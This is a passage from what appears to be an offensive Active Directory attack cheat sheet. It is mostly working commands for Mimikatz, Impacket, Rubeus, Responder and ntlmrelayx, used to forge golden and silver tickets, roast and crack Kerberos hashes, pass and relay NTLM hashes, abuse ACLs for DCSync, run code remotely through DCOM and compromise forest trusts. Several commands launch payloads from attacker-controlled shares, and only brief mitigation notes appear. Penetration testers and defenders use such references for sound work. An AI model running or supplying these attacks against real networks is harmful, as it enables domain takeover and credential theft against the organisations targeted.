    ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
  • LAPSDumper -
    python -u user -p password -d domain.local
    python -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local
  • Powershell AdmPwd.PS
    foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $|where {$ -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_use /root/Downloads/pentestlabuser.tck

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./ -k -no-pass -dc-ip AD/administrator@ 

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Mitigations: * Hard to detect because they are legit TGT tickets * Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a TGS require machine account password (key) or NTLM hash of the service account.

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./ -k -no-pass -dc-ip AD/administrator@ 

Interesting services to target with a silver ticket :

Service Type Service Silver Tickets Attack
WMI HOST + RPCSS wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks HOST schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS) CIFS dir \\dc01\c$
LDAP operations including Mimikatz DCSync LDAP lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools RPCSS + LDAP + CIFS /

Mitigations: * Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.


"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

  • GetUserSPNs from Impacket Suite
    $ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request
    Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
    ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
    --------------------  -------------  --------------------------------------------------------  -------------------  -------------------
    active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 
  • CrackMapExec Module
    crackmapexec ldap -u 'username' -p 'password' --kerberoasting output.txt
  • Rubeus
    # Kerberoast (RC4 ticket)
    .\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
    # Kerberoast (AES ticket)
    # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
    Rubeus.exe kerberoast /tgtdeleg
    # Kerberoast (RC4 ticket)
    # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
    Rubeus.exe kerberoast /rc4opsec
  • PowerView
    Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
  • bifrost on macOS machine
    ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true

Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)

Mode Description
13100 Kerberos 5 TGS-REP etype 23 (RC4)
19600 Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700 Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

Mitigations: * Have a very long password for your accounts with SPNs (> 32 characters) * Make sure no users have SPNs

KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements: - Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)

  • Rubeus
    C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
    [*] Action: AS-REP roasting
    [*] Target User            : TestOU3user
    [*] Target Domain          : testlab.local
    [*] SamAccountName         : TestOU3user
    [*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
    [*] Using domain controller: testlab.local (
    [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
    [*] Connecting to
    [*] Sent 169 bytes
    [*] Received 1437 bytes
    [+] AS-REQ w/o preauth successful!
    [*] AS-REP hash:
  • GetNPUsers from Impacket Suite
    $ python htb.local/svc-alfresco -no-pass
    [*] Getting TGT for svc-alfresco
    # extract hashes
    root@kali:impacket-examples$ python jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
    root@kali:impacket-examples$ python jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
  • CrackMapExec Module
    crackmapexec ldap -u 'username' -p 'password' --asreproast output.txt

Using hashcat or john to crack the ticket.

# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt

# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast

Mitigations: * All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).


The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

use exploit/windows/smb/psexec
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp

or with crackmapexec

cme smb -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb ... 

or with psexec

proxychains python ./ jarrieta@ -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

You can extract the local SAM database to find the local administrator hash :

C:\> reg.exe save hklm\sam c:\temp\
C:\> reg.exe save hklm\security c:\temp\
C:\> reg.exe save hklm\system c:\temp\
$ -sam -security -system LOCAL

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

Using impacket

root@kali:impacket-examples$ python ./ -hashes :1a59bd44fe5bec39c44c8cd3524dee
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

also with the AES Key if you have it
root@kali:impacket-examples$ ./ -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx

ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM

Using Rubeus

C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

$ sudo ./ -I eth0 -wfrd -P -v

PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

PS > Invoke-Inveigh [-IP ''] -ConsoleOutput Y -FileOutput Y -NBNS Y mDNS Y Proxy Y -MachineAccounts Y

Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash Hashcat Attack method
LM 3000 crack/pass the hash
NTLM/NTHash 1000 crack/pass the hash
NTLMv1/Net-NTLMv1 5500 crack/relay attack
NTLMv2/Net-NTLMv2 5600 crack/relay attack

Crack the hash with hashcat.

hashcat -m 5600 -a 0 hash.txt crackstation.txt

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
    [Responder Core]
    ; Servers to start
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
  2. Run python -i IP_Range to detect machine with SMB signing:disabled.
  3. Run python -I <interface_card>
  4. Use a relay tool such as ntlmrelayx or MultiRelay - impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list. - python -t <target_machine_IP> -u ALL
  5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    # You might need to select a target with "-t"
    impacket-ntlmrelayx -t mssql:// -socks -smb2support
    impacket-ntlmrelayx -t smb:// -socks -smb2support
    # the socks proxy can then be used with your Impacket tools or CrackMapExec
    $ proxychains impacket-smbclient // -U contoso/normaluser1
    $ proxychains impacket-mssqlclient DOMAIN/USER@ -windows-auth
    $ proxychains crackmapexec mssql -u user -p '' -d DOMAIN -q "SELECT 1"   


  • Disable LLMNR via group policy
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
  • Disable NBT-NS
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip -wh $attacker_ip -t ldaps://

Drop the MIC

The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
  • Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
    TERM1> python testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
    TERM1> testsegment/ntu@s2016dc.testsegment.local -just-dc
  • Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
    # create a new machine account
    TERM1> -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
    TERM2> python relaytest.local/testuser@second-dc-server
    TERM1> -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
    # connect using the ticket
    export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache -k -no-pass second-dc-server.local -just-dc

Ghost Potato - CVE-2019-1384

Prerequisites: * User must be a member of the local Administrators group * User must be a member of the Backup Operators group * Token must be elevated

Using a modified version of ntlmrelayx :

ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

crackmapexec ldap -u username -p password --admin-count
# or
python -u\john -p pass123 -d ';'
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or

AdminSDHolder Abuse

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show


  • GenericAll on User : We can reset user's password without knowing the current password
  • GenericAll on Group : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group : net group "domain admins" spotless /add /domain
  • GenericAll/GenericWrite : We can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.
    # Check for interesting permissions on accounts:
    Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
    # Check if current user has already an SPN setted:
    PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
    # Force set the SPN on the account:
    PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
    # Grab the ticket
    PowerView2 > $User = Get-DomainUser username 
    PowerView2 > $User | Get-DomainSPNTicket | fl
    PowerView2 > $User | Select serviceprincipalname
    # Remove the SPN
    PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
  • GenericAll/GenericWrite : We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
    # Modify the userAccountControl
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    # Grab the ticket
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
    # Set back the userAccountControl
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue


  • Reset another user's password
    $user = 'DOMAIN\user1'; 
    $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
    Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
  • WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\\totallyLegitScript.ps1
GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. -

⚠️ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.


To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

  • WriteDACL on Domain
    # Give DCSync right to the principal identity
    Import-Module .\PowerView.ps1
    $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
  • WriteDACL on Group
    Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
    net group "INTERESTING_GROUP" User1 /add /domain


An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.


An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'


An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp


An attacker can change the password of the user this ACE applies to. This can be achieved with Set-DomainUserPassword (PowerView module).

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

DCOM Exploitation

DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.

  • CheeseTools -

    -t, --target=VALUE         Target Machine
    -b, --binary=VALUE         Binary: powershell.exe
    -a, --args=VALUE           Arguments: -enc <blah>
    -m, --method=VALUE         Methods: MMC20Application, ShellWindows,
                                ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                                OutlookShellEx, ExcelXLL, VisioExecLine, 
    -r, --reg, --registry      Enable registry manipulation
    -h, -?, --help             Show Help
    Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.

DCOM via MMC Application Class

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.

PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application",""))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\\webdav\build.xml","7")

Invoke-MMC20RCE :

DCOM via Office

  • Excel.Application
    • DDEInitiate
    • RegisterXLL
  • Outlook.Application
    • CreateObject->Shell.Application->ShellExecute
    • CreateObject->ScriptControl (office-32bit only)
  • Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
    • Addons
    • ExecuteLine
  • Word.Application
    • RunAutoMacro
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM

# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")

DCOM via ShellExecute

$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

DCOM via ShellBrowserWindow

⚠️ Windows 10 only, the object doesn't exists in Windows 7

$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

Trust relationship between domains

  • One-way
    • Domain B trusts A
    • Users in Domain A can access resources in Domain B
    • Users in Domain B cannot access resources in Domain A
  • Two-way
    • Domain A trusts Domain B
    • Domain B trusts Domain A
    • Authentication requests can be passed between the two domains in both directions

Enumerate trusts between domains

nltest /trusted_domains



SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

Exploit trusts between domains

⚠️ Require a Domain-Admin level access to the current domain.

Source Target Technique to use Trust relationship
Root Child Golden Ticket + Enterprise Admin group (Mimikatz /groups) Inter Realm (2-way)
Child Child SID History exploitation (Mimikatz /sids) Inter Realm Parent-Child (2-way)
Child Root SID History exploitation (Mimikatz /sids) Inter Realm Tree-Root (2-way)
Forest A Forest B PrinterBug + Unconstrained delegation ? Inter Realm Forest or External (2-way)

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements: - KRBTGT Hash - Find the SID of the domain

$ Convert-NameToSid\krbtgt

# with Impacket domain/user:password@
- Replace 502 with 519 to represent Enterprise Admins - Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Forest to Forest Compromise - Trust Ticket

  • Require: SID filtering disabled

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.

Dumping trust passwords (trust keys)

Look for the trust name with a dollar () sign at the end. Most of the accounts with a trailing **** are computer accounts, but some are trust accounts.

lsadump::trust /patch

or find the TRUST_NAME$ machine account hash

Create a forged trust ticket (inter-realm TGT) using Mimikatz

mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt / /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi

Use the Trust Ticket file to get a TGS for the targeted service

.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

Inject the TGS file and access the targeted service with the spoofed rights.

kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$

Kerberos Unconstrained Delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. -

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

⚠️ Unconstrained delegation used to be the only option available in Windows 2000

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

